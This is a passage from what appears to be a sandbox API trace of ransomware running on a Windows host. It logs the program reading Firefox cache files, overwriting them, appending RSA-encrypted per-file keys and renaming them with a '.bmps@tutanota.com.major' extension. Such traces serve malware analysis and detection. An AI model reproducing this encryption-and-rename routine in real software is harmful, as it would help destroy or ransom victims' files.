lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0282.433] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6910 | out: hHeap=0x570000) returned 1 [0282.433] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x34387e8 | out: hHeap=0x570000) returned 1 [0282.433] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3437b88 | out: hHeap=0x570000) returned 1 [0282.433] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x34387e8 [0282.433] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee67d0 [0282.433] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0282.433] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2FD61AE1BA24124CC1923ECAFD4AAC3D50447717", dwFileAttributes=0x80) returned 1 [0282.434] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x3437660 [0282.434] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0282.434] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3437660 | out: hHeap=0x570000) returned 1 [0282.434] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2FD61AE1BA24124CC1923ECAFD4AAC3D50447717" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2fd61ae1ba24124cc1923ecafd4aac3d50447717"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0282.434] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4454) returned 1 [0282.434] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1166) returned 0x3439010 [0282.434] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1166) returned 0x2f39028 [0282.434] ReadFile (in: hFile=0x1b84, lpBuffer=0x3439010, nNumberOfBytesToRead=0x1166, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3439010*, lpNumberOfBytesRead=0x2e3f9b4*=0x1166, lpOverlapped=0x0) returned 1 [0282.537] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-4454, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.537] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f39028*, nNumberOfBytesToWrite=0x1166, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1166, lpOverlapped=0x0) returned 1 [0282.537] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3439010 | out: hHeap=0x570000) returned 1 [0282.537] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f39028 | out: hHeap=0x570000) returned 1 [0282.537] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1166 [0282.537] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0282.537] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0282.537] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0282.537] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0282.537] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0282.537] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0282.538] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="54s2Fxv+kbADaYFGvCqrtYxw9N2dj/ZXQBcjsOZhVG4XrI5JIz9v8k7jhieyxXWu\nAg9PcWN5gTW4OWt7UQ+qj7f+Db4iP0UkyYlPaz+d7LIiQhmy0/ZNfu6tUdGmcSGb\npSTE3IdXXu/Whd+b/Kd8M1en1D2pBVp/ciyLRvX849kc3nebk/Xh1bap8t6O/B/d\nRWltIP6aUIgjCVhzF8bSjxLx7iAJ8PS6ZlUjrJZ1Z5U1KgH5fRBD6kkJ+B1cMSY4\n/X2qHh/iD6rfXFmrgsVsth/XrOIjeOyWdorsfGdyylhmDAn4a2na30ynzGdIrL3n\n0rurGvEiCCmQAZe4TMQEIQ==\n", pcchString=0x2e3f9a8) returned 1 [0282.538] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0282.538] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0282.538] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0282.538] CloseHandle (hObject=0x1b84) returned 1 [0282.538] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0282.538] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2FD61AE1BA24124CC1923ECAFD4AAC3D50447717" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2fd61ae1ba24124cc1923ecafd4aac3d50447717"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2FD61AE1BA24124CC1923ECAFD4AAC3D50447717.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2fd61ae1ba24124cc1923ecafd4aac3d50447717.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0282.541] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0282.541] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee67d0 | out: hHeap=0x570000) returned 1 [0282.541] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x34387e8 | out: hHeap=0x570000) returned 1 [0282.541] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x34386e0 | out: hHeap=0x570000) returned 1 [0282.541] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x34386e0 [0282.541] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6690 [0282.541] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0282.541] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2FC942DAB73674FFE66C8A7BCD9230DFD3F9FA78", dwFileAttributes=0x80) returned 1 [0282.541] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x3437348 [0282.541] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0282.541] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3437348 | out: hHeap=0x570000) returned 1 [0282.541] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2FC942DAB73674FFE66C8A7BCD9230DFD3F9FA78" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2fc942dab73674ffe66c8a7bcd9230dfd3f9fa78"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0282.542] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=2858578) returned 1 [0282.542] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2b9e52) returned 0x3d45020 [0282.542] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2b9e52) returned 0x400a020 [0282.543] ReadFile (in: hFile=0x1b84, lpBuffer=0x3d45020, nNumberOfBytesToRead=0x2b9e52, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3d45020*, lpNumberOfBytesRead=0x2e3f9b4*=0x2b9e52, lpOverlapped=0x0) returned 1 [0283.025] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-2858578, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0283.025] WriteFile (in: hFile=0x1b84, lpBuffer=0x400a020*, nNumberOfBytesToWrite=0x2b9e52, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x400a020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2b9e52, lpOverlapped=0x0) returned 1 [0283.050] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3d45020 | out: hHeap=0x570000) returned 1 [0283.050] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x400a020 | out: hHeap=0x570000) returned 1 [0283.051] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2b9e52 [0283.051] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0283.051] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0283.051] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0283.051] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0283.051] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0283.051] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0283.051] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="70+noZuDqYyE/fwmY8C8402Wcew95VvdhCnTZFMTq+LiHAzABGkmBgQGdlOibY8I\nn9DHj4i+i/sKC7Ob/qyAfxRS8r2q1RJXFbU6k6SUviQaUI0S0OxuT/ZAHoVdMDpU\ngAqgNpAu9dBiwhNTEnBP5g1Yc0AcHrm23hCstDdSsplNx3v+krAOp3wq+T2SGBKO\nZSYSNPOLdEzJ2PXWZud3IcXmiSkdNea+YaWCRqMDSElq4gmRPtra6wyQNvkryEil\nH89DuboEZNcALyJ3TR3ZKFphuNvbphj/Bo4zRN2k0sYlTA/lQMP0sw43LMfhKaxG\nEWYw737YZt/DUiLnMovmSA==\n", pcchString=0x2e3f9a8) returned 1 [0283.051] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0283.051] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0283.051] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0283.052] CloseHandle (hObject=0x1b84) returned 1 [0283.052] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0283.052] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2FC942DAB73674FFE66C8A7BCD9230DFD3F9FA78" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2fc942dab73674ffe66c8a7bcd9230dfd3f9fa78"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2FC942DAB73674FFE66C8A7BCD9230DFD3F9FA78.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2fc942dab73674ffe66c8a7bcd9230dfd3f9fa78.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0283.054] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0283.054] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6690 | out: hHeap=0x570000) returned 1 [0283.054] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x34386e0 | out: hHeap=0x570000) returned 1 [0283.054] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x34384d0 | out: hHeap=0x570000) returned 1 [0283.054] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x3437b88 [0283.054] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee67d0 [0283.054] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0283.054] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2F803861A862CED3B233D955BAE181A1838202B7", dwFileAttributes=0x80) returned 1 [0283.054] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x3437660 [0283.054] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0283.054] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3437660 | out: hHeap=0x570000) returned 1 [0283.054] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2F803861A862CED3B233D955BAE181A1838202B7" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2f803861a862ced3b233d955bae181a1838202b7"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0283.055] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=3095) returned 1 [0283.055] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc17) returned 0x3446048 [0283.055] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc17) returned 0x3439010 [0283.055] ReadFile (in: hFile=0x1b84, lpBuffer=0x3446048, nNumberOfBytesToRead=0xc17, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3446048*, lpNumberOfBytesRead=0x2e3f9b4*=0xc17, lpOverlapped=0x0) returned 1 [0283.197] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3095, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0283.197] WriteFile (in: hFile=0x1b84, lpBuffer=0x3439010*, nNumberOfBytesToWrite=0xc17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3439010*, lpNumberOfBytesWritten=0x2e3f9b4*=0xc17, lpOverlapped=0x0) returned 1 [0283.197] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3446048 | out: hHeap=0x570000) returned 1 [0283.197] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3439010 | out: hHeap=0x570000) returned 1 [0283.197] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xc17 [0283.197] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0283.197] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0283.198] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0283.198] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0283.198] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0283.198] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0283.198] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="MMlckaoVF+H3T2e8AF8gvlSBpm5/Ej71mVIQcURCP0UfmGqX2tn4sOk/PhO/ZvcY\nx2i21No+NTKcck97yvV42aGq014eZV/2pQrsTGncjoPzrUiNjzbbmlPD1Jm5reGA\ndffgiX6WdL9DFka2GImol7es+fJtIhoUsVG0pGpGXLPr37gCfKTNvmFF0EtnAMSq\n0QYdIijBfP+EfsKlAASmU7LyHFhhrrCFu5uWOuXcexuH25Lx9KD+CRFvDfuyJigP\n+cWwm+e6bCxZyU28EoeN1yXKmPXHxwtTVYdtihPi7Xr7IcTAj+S5Sm86UqLYxQAw\nCijzcduNOgIEhmGPslt0Dg==\n", pcchString=0x2e3f9a8) returned 1 [0283.198] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0283.198] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0283.198] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0283.198] CloseHandle (hObject=0x1b84) returned 1 [0283.198] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0283.198] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2F803861A862CED3B233D955BAE181A1838202B7" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2f803861a862ced3b233d955bae181a1838202b7"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2F803861A862CED3B233D955BAE181A1838202B7.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2f803861a862ced3b233d955bae181a1838202b7.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0283.200] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0283.200] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee67d0 | out: hHeap=0x570000) returned 1 [0283.200] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3437b88 | out: hHeap=0x570000) returned 1 [0283.200] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x34380b0 | out: hHeap=0x570000) returned 1 [0283.200] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x3437660 [0283.200] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6690 [0283.200] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0283.200] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2F08D45573A263CC6499DA6B1EF16B6DDFBC49C4", dwFileAttributes=0x80) returned 1 [0283.201] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x34388f0 [0283.201] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0283.201] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x34388f0 | out: hHeap=0x570000) returned 1 [0283.201] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2F08D45573A263CC6499DA6B1EF16B6DDFBC49C4" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2f08d45573a263cc6499da6b1ef16b6ddfbc49c4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0283.202] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=6102) returned 1 [0283.202] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17d6) returned 0x3439010 [0283.202] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17d6) returned 0x2f39028 [0283.202] ReadFile (in: hFile=0x1b84, lpBuffer=0x3439010, nNumberOfBytesToRead=0x17d6, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3439010*, lpNumberOfBytesRead=0x2e3f9b4*=0x17d6, lpOverlapped=0x0) returned 1 [0283.203] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-6102, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0283.203] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f39028*, nNumberOfBytesToWrite=0x17d6, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17d6, lpOverlapped=0x0) returned 1 [0283.203] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3439010 | out: hHeap=0x570000) returned 1 [0283.203] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f39028 | out: hHeap=0x570000) returned 1 [0283.203] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x17d6 [0283.203] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0283.203] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0283.203] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0283.203] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0283.204] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0283.204] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0283.204] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="fK+yBVk4vla+PZdl4IPPknAasCF4tK9iu3VbYxDn0ZaQJSuvhJQIGVr2yFoABcTy\nslt8l7lJSRWRoQK0lTOM9LCooB5i+tuKqQh5VLWpQ4XUFTL+OK9K0SvheRBJeL2H\ntlX+4wFtA0lPbqObCifru8JygJUFC33LW2+JTFj+WkrepgGesy/RwdZo2CVaXUGy\nWzGulh0txhyZHOoAAIso9h4GkyO1v/4IIS2vyBmXSQxXePRFDKZ0Gi8CR3As9Wpx\n6uBSXCSnBEzc86cu2gn4S8EqJMlh8xqlDppIPcmxsVZiWLnx6pNT42MGHNHglIJR\nCEDLtteT1dd9gXeGv18ISw==\n", pcchString=0x2e3f9a8) returned 1 [0283.204] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0283.204] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0283.204] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0283.204] CloseHandle (hObject=0x1b84) returned 1 [0283.204] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0283.204] 